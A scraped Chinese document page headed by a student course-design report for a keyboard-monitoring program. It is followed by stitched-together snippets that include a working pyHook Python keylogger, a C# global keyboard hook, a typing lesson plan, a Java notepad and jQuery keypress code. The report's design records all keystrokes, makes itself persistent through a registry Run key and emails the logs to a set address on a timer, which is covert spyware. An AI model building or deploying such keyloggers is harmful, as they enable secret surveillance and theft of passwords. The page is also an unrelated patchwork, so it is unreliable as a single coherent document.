键盘监听程序课程设计

合集下载

python中使用pyhook实现键盘监控的例子

python中使用pyhook实现键盘监控的例子

python中使⽤pyhook实现键盘监控的例⼦以上⽹站上提供了⼏个使⽤的例⼦,另外安装pyhooks后,也会有⼀个例⼦的⽂件。

于是拿来学习了⼀下,第⼀次运⾏时,提⽰没有pythoncom模块,就安装了pywin32,安装后,可以正常运⾏,但是会导致机器发卡,特别是中断程序运⾏后,⿏标会出现⼀段时间的⾃由晃动,找了半天原因,感觉主要是事件频率过⾼,程序会经常卡在pythoncom.PumpMessages()。

⽹上搜索了半天,看到有⼀帖⼦说是pythoncom.PumpMessages(n),n表⽰延迟时间,于是试着改了下,发现有⼀定效果,但不明显,后来想是不是因为没有终⽌程序,才会导致⼀直很卡呢,于是添加终⽌程序语句win32api.PostQuitMessage()。

结果还算满意。

# -*- coding: cp936 -*-import pythoncomimport pyHookimport timeimport win32apit=''asciistr=''keystr=''def onKeyboardEvent(event):global t,asciistr,keystrfilename='d://test.txt'wrfile=open(filename,'ab')"处理键盘事件"if t==str(event.WindowName):asciistr=asciistr+chr(event.Ascii)keystr=keystr+str(event.Key)else:t=str(event.WindowName)if asciistr=='' and keystr=='':wrfile.writelines("\nWindow:%s\n" % str(event.Window))wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写⼊当前窗体名wrfile.writelines("MessageName:%s\n" % str(event.MessageName))wrfile.writelines("Message:%d\n" % event.Message)wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))else:wrfile.writelines("Ascii_char:%s\n" %asciistr)wrfile.writelines("Key_char:%s\n" %keystr)wrfile.writelines("\nWindow:%s\n" % str(event.Window))wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写⼊当前窗体名wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))asciistr=chr(event.Ascii)keystr=str(event.Key)if str(event.Key)=='F12': #按下F12后终⽌wrfile.writelines("Ascii_char:%s\n" %asciistr)wrfile.writelines("Key_char:%s\n" %keystr)wrfile.close()win32api.PostQuitMessage()return Trueif __name__ == "__main__":#创建hook句柄hm = pyHook.HookManager()#监控键盘hm.KeyDown = onKeyboardEventhm.HookKeyboard()#循环获取消息pythoncom.PumpMessages(10000)。

计算机键盘操作教学设计(5篇范例)

计算机键盘操作教学设计(5篇范例)

计算机键盘操作教学设计(5篇范例)第一篇:计算机键盘操作教学设计计算机键盘操作教学设计教案名称:运指如飞教学目的:1、熟悉计算机键盘,了解常用键的功能。

2、掌握规范的键盘指法。

3、通过键盘操作的学习,让学生感受到熟练击键所带来的乐趣。

教学重点:1、常用键的功能和使用方法。

2、规范的键盘指法。

教学难点:特殊键的用法教学方法:示范教学,自主实践。

教与学过程:1.情景设置,激趣导入,当你熟练地操作键盘的时候,那也将是一件十分惬意的事情。

下面,我为大家送上一段话,希望大家喜欢!(键盘输入并演示:Welcome to our classroom!娴熟的键盘指法将会让你受用终生。

)师:看完老师的表演,下面该轮到你们登场了!2.循序渐进,导练导学(1)实物讲解师:首先,大家先来认识一下键盘,仔细看好了!键盘大致分成四个部分。

左边最大一块区域,上方是功能键区,如F1,F2…它们在特殊环境中会有特殊的作用;下方一块为主键盘区(也称为打字键区),是最常用的一部分;中间的一块是编辑键区,如光标移动键↑、↓、←、→……最右边的是小键盘区,在输入数字进行数值计算的时候经常用到。

(教师借助键盘实物讲解,学生阅读课本第34页,并对照键盘识记“键盘分区”。

)(2)工具准备师:同学们,现在要开始练习用键盘打字了!这好像平常写字一样,只不过现在用的不是笔而是键盘。

用笔写字的时候,要用到纸。

用键盘打字也要准备好一样东西——这就是工具软件。

这类软件很多,现在我们要用的是“记事本”。

(学生参照课本第34页的“操作步骤”,打开“记事本”。

教师在学生操作过程中可以复述一下操作步骤,从而帮助一些学习上有困难的学生。

)(3)认识常用键 1)练习一师:大家都打开了“记事本”窗口,现在可以边学边练了!主键盘区有一些常用的键,先来认识一下它们。

下面大家用键盘在“记事本”里输入这一行字符,每4个字符空一格。

(板书:abcd efgh ijkl mnop qrst uvwx yz12 3456 7890-[]=;',.)(学生操作实践,教师检查辅导。

C#全局键盘监听(Hook)

C#全局键盘监听(Hook)

C#全局键盘监听(Hook)⼀.为什么需要全局键盘监听?在某些情况下应⽤程序需要实现快捷键执⾏特定功能,例如⼤家熟知的QQ截图功能Ctrl+Alt+A快捷键,只要QQ程序在运⾏(⽆论是拥有焦点还是处于后台运⾏状态),都可以按下快捷键使⽤此功能...这个时候在程序中添加键盘监听肯定不能满⾜需求了,当⽤户焦点不在App上时(如最⼩化,或者⽤户在处理其它事物等等)键盘监听就失效了⼆.怎样才能实现全局键盘监听?这⾥需要⽤到Windows API,源码如下:(可以作为⼀个⼯具类[KeyboardHook.cs]收藏起来)[特别说明:下⾯的源码来⾃某⽹友,很久以前收集的,也找不到出处了,如有版权问题请联系我]using System;using System.Collections.Generic;using System.Text;using System.Runtime.InteropServices;using System.Windows.Forms;using System.Reflection;namespace 壁纸管家{/// <summary>/// 键盘钩⼦/// [以下代码来⾃某⽹友,并⾮本⼈原创]/// </summary>class KeyboardHook{public event KeyEventHandler KeyDownEvent;public event KeyPressEventHandler KeyPressEvent;public event KeyEventHandler KeyUpEvent;public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);static int hKeyboardHook = 0; //声明键盘钩⼦处理的初始值//值在Microsoft SDK的Winuser.h⾥查询public const int WH_KEYBOARD_LL = 13; //线程键盘钩⼦监听⿏标消息设为2,全局键盘监听⿏标消息设为13HookProc KeyboardHookProcedure; //声明KeyboardHookProcedure作为HookProc类型//键盘结构[StructLayout(LayoutKind.Sequential)]public class KeyboardHookStruct{public int vkCode; //定⼀个虚拟键码。

程序设计基础课程设计题目

程序设计基础课程设计题目
设计要求:
1.用户登录后输入自己的姓名,单击“记忆测试”菜单可以选择初级/中级/高级,也可以查看初级记忆榜/中级记忆榜或高级记忆榜。
2.选择级别后,将显示相应级别的测试区域。测试区域由若干个数字,级别越高数字长度越长(初级5位,中级8位,高级13位),每次将随机出现一个数字后显示3秒后消失,用户需要将记忆中的数字写入下方的文本框中,全对才得分,测试完毕显示总分。
二十七、3.21点游戏
游戏规则参见:/view/302185.htm
要求能实现基本功能
二十八 数独游戏
游戏规则参见/view/3281328.htm
要求能实现基本功能
二十九 进制转换工作
实现各种数制之间的转换
3.将绩保存到成绩表中。
十一、市收银系统
使用图形用户界面。
1.由收银员输入顾客的会员卡卡号(若有卡)、所购商品的货号等。从数据库中取出有关价格信息,再把这些信息返回给收银台。同时把该收银台的销售总量和有关种类商品的剩余量以及该持卡顾客的消费情况交数据库存储以供查询。另外,对没有卡的消费情况不记录该顾客的消费情况等个人信息。
3. 能够实现学生信息的插入、删除和修改。
4. 能够查询每个课程的最高分、最低分及相应学生姓名、班级和学号。
5. 能够查询每个班级某门课程的优秀率(90分及以上)、不及格率,并进行排序。
十、记忆测试系统
设计内容:
记忆测试系统通过回忆法测试记忆,分为初级、中级、高级三个级别,并通过记忆榜存储每个级别的成绩。
大数的加法
大数的减法
运算结果的显示
运算过程(输入和输出)写入到文件,并能查看
三十二 大数判断素数运算
大数一般指50位以上的十字进数字,超过double和long long数据类型的范围。要求能实现以下功能:

《Java》课程设计》记事本

《Java》课程设计》记事本

《Java课程设计》记事本课程设计报告书目录一、设计课题二、设计目的三、操作环境四、设计场所(机房号、机器号或自己机器)五、设计过程(设计内容及主要程序模块)六、本次设计中用到的课程知识点(列出主要知识点)七、设计过程中遇到的问题及解决办法八、程序清单五、设计过程(设计内容及主要模块,不少于3000字)1.设计要求1)界面设计2)功能实现(1)文件菜单:新建、打开、保存、另存为、退出等。

(2)其中新建菜单项可以新建一个记事本程序;打开菜单项可以打开一个用户指定的文本文件,并将其内容显示在记事本的文本区域;保存和另存为菜单项可分别实现文件的保存和另存为3)编辑菜单:复制、剪切和粘贴等4)帮助菜单:软件版本信5)右键弹出快捷菜单2.总体设计1)功能模块图:图一功能模块图2)功能描述1、打开记事本。

首先是标准型的记事本,拥有文件、编辑。

格式和帮助。

如图1所示:图1标准型记事本界面2、在标准型的记事本界面中,进行的新建一个本件名字叫新记事本。

如图2记事本文件帮助新建打开保存另存为退出复制剪切粘贴编辑关于记事本右键快捷格式字体颜色图2新建记事本功能3、用打开文件打开刚刚新建的新记事本。

如图三所示。

图3—打开文件4、点击退出即可退出,如图4所示:图4—退出记事本5、点击帮助可以看到有关记事本的相关信息,其中有作者名、版本、许可条款、隐私声明等必要信息。

如图5所示:图5—帮助相关信息6、右键可实现复制、粘贴、剪切、清除等常用功能,方便用户可以快捷方便的使用记事本。

如图6所示:图6—右键功能7、编辑也可实现制、粘贴、剪切、清除等常用功能,方便用户选择自己适合的方式,自由选择方便的快捷方式使用。

如图7:图7—编辑八、程序清单package test;import java.io.File;import java.io.*;import java.awt.event.*;import java.awt.Toolkit;import java.awt.*;import javax.swing.*;import javax.swing.filechooser.*;public class Notebook extends JFrame implements ActionListener,ItemListener{ //组件创建JButton b_save,b_close; //按钮JTextArea textArea; //文本框File tempFile; //文件JPanel jp; //面板JMenu file,edit,style,help; //菜单JMenuItemf_new,f_open,f_save,f_close,f_saveas,e_copy, e_paste,e_cut,e_clear,e_selectAll,e_find,e_rep lace,s_font,s_color,h_editor,h_help; //菜单条JMenuBar jmb;JScrollPane jsp; //滚动面板JPopupMenu popUpMenu = new JPopupMenu(); //右键弹出式菜单JLabel stateBar;//标签JLabel jl,jj;JFileChooser jfc = new JFileChooser(); //文件选择JMenuItemje_copy,je_paste,je_cut,je_clear,je_selectAll,je _find,je_replace; //弹出式菜单条public Notebook(){jfc.addChoosableFileFilter(new FileNameExtensionFilter("文本文件(*.txt)","txt"));jmb = new JMenuBar();textArea = new JTextArea();jsp = new JScrollPane(textArea);file = new JMenu("文件");edit = new JMenu("编辑");style = new JMenu("格式");help = new JMenu("帮助");je_copy = new JMenuItem("复制(C) ");je_paste = new JMenuItem("粘贴(P) ");je_cut = new JMenuItem("剪切(X) ");je_clear = new JMenuItem("清除(D) ");je_selectAll = new JMenuItem("全选(A) ");je_find = new JMenuItem("查找(F) ");je_replace = new JMenuItem("替换(R) ");je_copy.addActionListener(this); //给弹窗式的各组件添加监听器je_paste.addActionListener(this);je_cut.addActionListener(this);je_clear.addActionListener(this);je_selectAll.addActionListener(this);je_find.addActionListener(this);je_replace.addActionListener(this);//给界面上方的菜单条添加监听器f_new = new JMenuItem("新建(N)");f_new.setAccelerator(KeyStroke.getKeyS troke('N',InputEvent.CTRL_MASK,false)); //设置带修饰符快捷键f_new.addActionListener(this);f_open = new JMenuItem("打开(O)");f_open.setAccelerator(KeyStroke.getKey Stroke('O',InputEvent.CTRL_MASK,false));f_open.addActionListener(this);f_save = new JMenuItem("保存(S)");f_save.setAccelerator(KeyStroke.getKey Stroke('S',InputEvent.CTRL_MASK,false));f_save.addActionListener(this);f_saveas = new JMenuItem("另存为");f_saveas.setAccelerator(KeyStroke.getKe yStroke(KeyEvent.VK_S,InputEvent.CTRL_ MASK|InputEvent.SHIFT_MASK));f_saveas.addActionListener(this);f_close = new JMenuItem("退出(W)");f_close.setAccelerator(KeyStroke.getKey Stroke('W',InputEvent.CTRL_MASK,false));f_close.addActionListener(this);e_copy = new JMenuItem("复制(C)");e_copy.setAccelerator(KeyStroke.getKey Stroke('C',InputEvent.CTRL_MASK,false));e_copy.addActionListener(this);e_paste = new JMenuItem("粘贴(V)");e_paste.setAccelerator(KeyStroke.getKeyStro ke('V',InputEvent.CTRL_MASK,false));e_paste.addActionListener(this);e_cut = new JMenuItem("剪切(X)"); e_cut.setAccelerator(KeyStroke.getKeyStroke ('X',InputEvent.CTRL_MASK,false));e_cut.addActionListener(this);e_clear = new JMenuItem("清除(D)");e_clear.setAccelerator(KeyStroke.getKeyStrok e('D',InputEvent.CTRL_MASK,false));e_clear.addActionListener(this);e_selectAll = new JMenuItem("全选(A)");e_selectAll.setAccelerator(KeyStroke.getKey Stroke('A',InputEvent.CTRL_MASK,false));e_selectAll.addActionListener(this);e_find = new JMenuItem("查找(F)");e_find.setAccelerator(KeyStroke.getKeyStrok e('F',InputEvent.CTRL_MASK,false));e_copy.addActionListener(this);e_replace = new JMenuItem("替换(R)");e_replace.setAccelerator(KeyStroke.getK eyStroke('R',InputEvent.CTRL_MASK,false)) ;e_replace.addActionListener(this);s_font = new JMenuItem("字体(T)");s_font.setAccelerator(KeyStroke.getKeyStrok e('T',InputEvent.CTRL_MASK,false));s_font.addActionListener(this);s_color = new JMenuItem("颜色(C)...");s_color.setAccelerator(KeyStroke.getKeyStro ke(KeyEvent.VK_C,InputEvent.CTRL_MAS K | InputEvent.SHIFT_MASK));s_color.addActionListener(this);h_editor = new JMenuItem("关于记事本");h_editor.setAccelerator(KeyStroke.getKeyStro ke(KeyEvent.VK_E,InputEvent.CTRL_MAS K));h_editor.addActionListener(this);h_help = new JMenuItem("帮助信息(H)");h_help.setAccelerator(KeyStroke.getKeyStrok e(KeyEvent.VK_I,InputEvent.CTRL_MASK) );h_help.addActionListener(this);//添加右键弹出式菜单popUpMenu.add(je_copy);popUpMenu.add(je_paste);popUpMenu.add(je_cut);popUpMenu.add(je_clear);popUpMenu.addSeparator();popUpMenu.add(je_selectAll);popUpMenu.add(je_find);popUpMenu.add(je_replace);//编辑区鼠标事件,点击右键弹出"编辑"菜单textArea.addMouseListener(new MouseAdapter(){public void mouseReleased(MouseEvent e) {if(e.getButton() == MouseEvent.BUTTON3)popUpMenu.show(e.getComponent(), e.getX(), e.getY());} //e.getComponent()和textArea具有同等效果public void mouseClicked(MouseEvent e){if(e.getButton() == MouseEvent.BUTTON1)popUpMenu.setVisible(false);}});this.setJMenuBar(jmb);this.setTitle("记事本程序");file.add(f_new); //添加文件菜单组件file.add(f_open);file.addSeparator(); //加分隔线file.add(f_save);file.add(f_saveas);file.addSeparator();file.add(f_close);edit.add(e_copy); //添加编辑菜单组件edit.add(e_paste);edit.add(e_cut);edit.add(e_clear);edit.addSeparator();edit.add(e_selectAll);edit.add(e_find);edit.add(e_replace);style.addSeparator();style.add(s_font);style.add(s_color);jmb.add(file); //添加格式菜单组件jmb.add(edit);jmb.add(style);jmb.add(help);help.add(h_editor); //添加帮助菜单组件help.add(h_help);//textArea.setWrapStyleWord(true); //设置在单词过长的时候是否要把长单词移到下一行。

利用Jquery实现键盘按键监听

利用Jquery实现键盘按键监听

Js代码1.// shows a given element and hides all others2.function showViaKeypress(element_id)3.{4. $(".container").css("display","none");5. $(element_id).slideDown("slow");6.}7.8.// shows proper DIV depending on link 'href'9.function showViaLink(array)10.{11. array.each(function(i)12. {13. $(this).click(function()14. {15. var target = $(this).attr("href");16. $(".container").css("display","none");17. $(target).slideDown("slow");18. });19. });20.}而对键盘按键的监听是用的keypress()方法,其实也没什么难度,不过我们很少在页面上使用按键监听,这个例子比较新奇,值得我们参考,如有必要时,可以在项目里用用。

Js代码1.$(document).keypress(function(e)2. {3. switch(e.which)4. {5. // user presses the "a"6. case 97: showViaKeypress("#home");7. break;8.9. // user presses the "s" key10. case 115: showViaKeypress("#about");11. break;12.13. // user presses the "d" key14. case 100: showViaKeypress("#contact");15. break;16.17. // user presses the "f" key18. case 102: showViaKeypress("#awards");19. break;20.21. // user presses the "g" key22. case 103: showViaKeypress("#links");23. }24. });Jquery 监视按键,按下回车键触发某方法<script type="text/javascript">$(function () {$('input:text:first').focus(); //把焦点放在第一个文本框var $inp = $('input'); //所有的input元素$inp.keypress(function (e) { //这里给function一个事件参数命名为e,叫event也行,随意的,e就是IE窗口发生的事件。

键盘监控_实验报告

键盘监控_实验报告

一、实验目的1. 理解键盘监控的基本原理和实现方法。

2. 掌握使用特定工具或技术实现键盘监控的方法。

3. 了解键盘监控在实际应用中的重要性及其潜在风险。

4. 通过实验加深对键盘监控技术的理解。

二、实验环境1. 操作系统:Windows 102. 开发环境:Visual Studio 20193. 实验工具:键盘监控软件(例如:Keylogger)三、实验内容本次实验主要分为以下步骤:1. 实验准备- 安装并配置实验所需的软件和工具。

- 熟悉键盘监控软件的使用方法。

2. 键盘监控软件安装- 下载并安装键盘监控软件。

- 配置软件参数,如监控类型(物理按键、软键盘等)、数据存储方式等。

3. 键盘监控实现- 启动键盘监控软件,开始实时监控键盘输入。

- 观察并记录监控到的键盘输入数据,包括按键、字符等。

4. 键盘监控数据分析- 分析监控到的键盘输入数据,了解用户操作习惯和隐私信息。

- 探讨键盘监控在实际应用中的潜在风险和应对措施。

5. 实验总结- 总结实验过程中遇到的问题及解决方案。

- 对键盘监控技术进行评价和展望。

四、实验步骤1. 安装键盘监控软件- 下载并安装键盘监控软件,如Keylogger。

- 打开软件,配置监控参数。

2. 启动键盘监控- 点击“开始监控”按钮,软件开始实时监控键盘输入。

- 观察监控窗口,记录监控到的键盘输入数据。

3. 数据分析- 分析监控到的键盘输入数据,了解用户操作习惯和隐私信息。

- 记录分析结果。

4. 实验总结- 总结实验过程中遇到的问题及解决方案。

- 对键盘监控技术进行评价和展望。

五、实验结果与分析1. 监控到的键盘输入数据- 实验过程中,监控到用户输入了文字、数字、符号等键盘输入数据。

2. 数据分析结果- 通过分析监控到的键盘输入数据,发现用户在实验过程中主要输入了与实验内容相关的文字和符号。

- 分析结果表明,键盘监控技术可以有效地获取用户操作习惯和隐私信息。

3. 键盘监控的潜在风险- 针对键盘监控技术,存在以下潜在风险:- 隐私泄露:监控到用户的敏感信息,如密码、银行卡号等。

综合应用设计实例

综合应用设计实例
清华大学出版社
Java 语言程序设计 (第3版) 张思民编著
第11 章 综合应用设计实例
清华大学出版社
Java 语言程序设计 (第3版) 张思民编著
主要内容
1、“推箱子”游戏程序设计 2、远程桌面控制系统设计 3、基于分布模式的云计算系统
清华大学出版社
Java 语言程序设计 (第3版) 张思民编著
捕获屏幕图像
image = robot.createScreenCapture(screenRect);
ImageIO.write(image, JPEG, file);
将图像保存为 JPEG文件
清华大学出版社
11.2.2 系统结构设计
2、指示发生击键事件的类 KeyEvent
当按下、释放或键入某个键时,由 KeyEvent 类指示所引发的事件。在本例 中,用到了KeyEvent 类的如下常量:
int VK_ DOWN
用于键盘向下方向键的常量。
int VK_LEFT
用于键盘向左方向键的常量。
int VK_ RIGHT
用于键盘向右方向键的常量。
int VK_UP
用于键盘向上方向键的常量。
清华大学出版社
Java 语言程序设计 (第3版) 张思民编著
11.1.2 用键盘方向键控制图形移动
【例11-1 】用键盘的方向键控制图形块移动, 如图11.1 所示。
清华大学出版社
Java 语言程序设计 (第3版) 张思民编著
11.1.3 推另一图形移动
11.2 远程桌面控制系统设计
清华大学出版社
Java语言程序设计 (第3版) 张思民编著
11.2 远程桌面控制系统设计
这是一个用于局域网的远程桌面控制系统,在 控制端(客户端程序)输入被控端(服务器端 程序)的 IP地址后,就可以抓取到被控端的桌 面屏幕图像,并对被控端进行远程操作。
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

键盘监听程序课程设计目录目录 (1)一设计目的 (2)二设计内容 (2)三设计要求 (3)四设计过程 (3)1、窗口函数程序实现的步骤 (3)2、消息循环 (4)3、编写窗口过程函数 (5)4、自启动模块设计 (6)5、定时发送邮件模块设计 (7)6、程序流程图 (8)五设计总结 (10)参考文献 (10)一设计目的通过本次课程设计,设计一个键盘监听程序,系统启动后自动记录所有键盘信息的功能,能够记录键盘的输入值,且该程序具有自动启动功能,并能够定期通过网络给某人的指定的邮箱发送所记录的信息。

二设计内容1、题目分析,查找资料和总体设计。

2、详细设计、代码编制、程序调试。

系统功能要求如下:模块一该部分通过设计一个窗口,并在窗口中响应键盘消息,记录键盘的相关按键记录,实现键盘监听的功能。

模块二该部分通过对注册表的修改,将该程写入注册表,实现该程序的随系统的启动而启动。

模块三该部分通过调用系统的定时函数,实现邮件的定时发送。

3、结果分析、完成课程设计报告。

三设计要求1、学生能够较深入的理解网络编成的设计方法,并在所要求的设计时间内,利用自己所熟悉的语言完成本题目的程序编制。

2、程序要能正确运行,完成预功能。

3、要求设计清晰、美观的用户界面,当操作出错时,程序要有出错提示信息。

4、上交设计报告。

重点阐述程序的有关算法说明、程序的流程图以及子程序的功能和参数的说明及程序代码。

四设计过程1、窗口函数程序实现的步骤(1)WinMain函数的定义WinMain函数的原型声明如下:int WINAPI WinMain(HINSTANCE hInstande,HINSTANCE hPrevInstance,LPSTR IpCmdLine,Int nCmdShow);WinMain函数接收4个参数,这些参数都是在系统调用WinMian函数时,传递给应用程序的。

第一个参数hInstance表示该程序当前运行的实例的句柄。

第二个参数hPrevInstance表示当前实例的前一个实例的句柄。

第三个参数IpCmdLine是一个以空终止的空符串,第四个参数nCmdShow指定程序的窗口应该如何显示。

(2)创建一个窗口设计一个窗口类一个完整的窗口有许多的特征,包括光标、图标、背景色等。

因此在创建一个窗口之前,要对该类型的窗口进行设计,指定该窗口的相关特征。

Windows 为我们定义了一个窗口所应该有的基本属性。

在此次的程序中,运用了wndClass这样一个函数,来实现窗口属性的设置。

其中的第二个成员变量IpfnWndProc是一个函数指针,指向窗口过程函数,窗口过程函数是一个回调函数。

回调函数在特定的事件或条件发生时由另外一方调用的,用于对该事件或条件进行响应。

(3)注册窗口类调用RegisterClass函数对窗口进行注册,注册成功后才能创建该类型的窗口。

具体实现如下:RegisterClass(&wndClass);(4)创建窗口设计好窗口并且将其注册成功后,就可以用CreateWindow函数产生这种类型的窗口了。

其函数的原型声明如下:HWND CreateWindow(LPCTSTR lpClassName, // registered class nameLPCTSTR lpWindowName, // window nameDWORD dwStyle, // window styleint x, // horizontal position of windowint y, // vertical position of windowint nWidth, // window widthint nHeight, // window heightHWND hWndParent, // handle to parent or owner windowHMENU hMenu, // menu handle or child identifierHINSTANCE hInstance, // handle to application instanceLPVOID lpParam // window-creation data);(5)显示及更新窗口其中,显示窗口通过ShowWindow函数实现。

更新窗口通过UpdateWindow 函数实现。

到此,一个窗口函数的创建就算完成了。

2、消息循环(1)编写一个消息循环,不断的从消息队列中取出消息,并进行响应。

要从消息队列中取出消息,我们需要调用GetMessage()函数。

通常的消息循环函数的代码如下:while(GetMessage(&msg, NULL, 0, 0)) //消息循环{TranslateMessage(&msg); //虚拟键消息转换为字符消息 DispatchMessage(&msg); //消息回传给操作系统}GetMessage函数只有在接收到WM_QUIT消息时,才返回0。

此时while 语句的判断条件为假,循环退出,程序才能结束运行。

在没有接收到WM_QUIT 消息时,Windows应用程序就通过while循环来保证程序始终处于运行状态。

Windows应用程序的消息处理机制如下图所示:窗口过程应用程序消息队列操作系统(2)GetMessage()(3)DispatchMessage()(1)(4)图2-1(2)操作系统接收到应用程序的窗口消息,将消息投递到该应用程序的消息队列中。

(3)应用程序在消息循环中调用GetMessage函数从消息队列中取出一条一条的消息。

取出消息后,应用程序可以对消息进行一些预处理,例如,放弃对某些消息的响应,或者调用TranslateMessage产生新的消息。

(4)应用程序调用DispatchMessage,将消息回传给操作系统,消息是由MSG 结构体对象来表示的,其中就包含了接收消息的窗口的句柄。

因此,DispatchMessage函数总能进行正确的传递。

(5)系统调用WNDCLASS结构体的IpfnWndProc成员保存的窗口过程函数的指针调用窗口过程,对消息进行处理。

(6)发送消息可以使用SendMessage和PostMessage函数。

SendMessage将消息直接发送给窗口,并调用该窗口的窗口过程进行处理。

在窗口过程对消息处理完毕后,该函数才返回。

PostMessage函数将消息放入与创建窗口的线程相关联的消息队列后立即返回。

除了两个函数外,还有一个PostThreadMessage 函数,用于向线程发送消息,对于线程消息,MSG结构体中的hwnd成员为NULL。

3、编写窗口过程函数(1)窗口过程函数用于处理发送给窗口的消息。

一个Windows应用程序的主要代码部分就集中在窗口过程函数中。

窗口过程函数的声明如下:LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){ HDC hdc;PAINTSTRUCT ps;}(2)具体函数中有按键消息处理,通过WM_INPUT实现,当发现有按键消息时,通过GetRawInputData函数获得原始的按键信息,再通过WriteFile写入文件中,写下按键记录。

绘制窗口的界面,通过WM_PAINT完成。

当窗口客户区的一部分或者全部变为无效是,系统会发送WM_PAINT消息,通知应用程序重新绘制窗口,当窗口刚创建的时候,整个客户区都是无效的,因为这个时候程序还没有在窗口上绘制任何东西,当调用UpdateWindows函数时,会发送WM_PAINT消息给窗口过程,对窗口进行刷新.完成后,需要对窗口进行撤销,使用WM_DESTROY完成。

当用户单击窗口伤的关闭按钮的时候,系统会给应用程序发送一条WM_CLOSE消息,首先弹出一个消息框,让用户确认是否结束.用户选择是,则调用DestroyWindows函数销毁窗口, DestroyWindows函数在销毁窗口后会向窗口发送WM_DESTROY消息,此时,窗口销毁了,但是应用程序并没有退出.GetMessage函数只有在收到WM_QUIT消息才返回0,此时消息循环才结束,程序退出.想要让程序退出,我们必须响应WM_DESTROY消息,并在消息响应代码中调用PostQuitMessage.向应用程序的消息队列中投递WM_QUIT消息,传递给PostQuitMessage函数的参数值将作为WM_QUIT消息的wParam参数,这个值通常用作WinMain函数的返回值。

DefWindowProc函数调用默认的窗口过程,对应用程序没有处理的其他消息进行默认处理.4、自启动模块设计(1)该部分通过将程序的可执行程序写入注册表,实现随着系统的启动而启动。

自启动有两种方法,第一种方法是,在本地计算机中打开注册表编辑器,找到下面的键值:HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows 然后在Windows键值下新建一个字符串键值,并更名为load,双击打开这个字符串键值,接着把弹出窗口的“数值数据”中设置要随系统自动运行的程序的路径即可。

需要注意的是,输入的路径文件名是短文件名。

(2)另一种方法同样是在注册表中进行设置,找到键值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor,找到并双击“AutoRun”这项,然后将键值设置为需要启动的程序即可。

这两种方法都可以.在实验中,运用了方法一,通过"Software\\Microsoft\\Windows\\CurrentVersion\\Run";找到键值,再通过hkResult,"hacker"/ 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBDLogger.exe",32找到路径后,将可执行程序写入注册表,实现自启动.5、定时发送邮件模块设计(1)邮件发送功能通过Simple MAPI的函数以及相关的数据结构,根据其结构可以很简单的实现发送邮件的功能。

实现一个完整的邮件发送过程,只需要一个函数“MAPISendMail()”, MAPI 与邮件系统关系密切,要能够使用MAPI的功能,系统必须安装有支持 MAPI 的邮件系统,比如Outlook、Outlook Express、Eudora、Netscape等.在本次设计中,邮件系统使用的是outlook,经过测试,发现没有问题。

相关文档
最新文档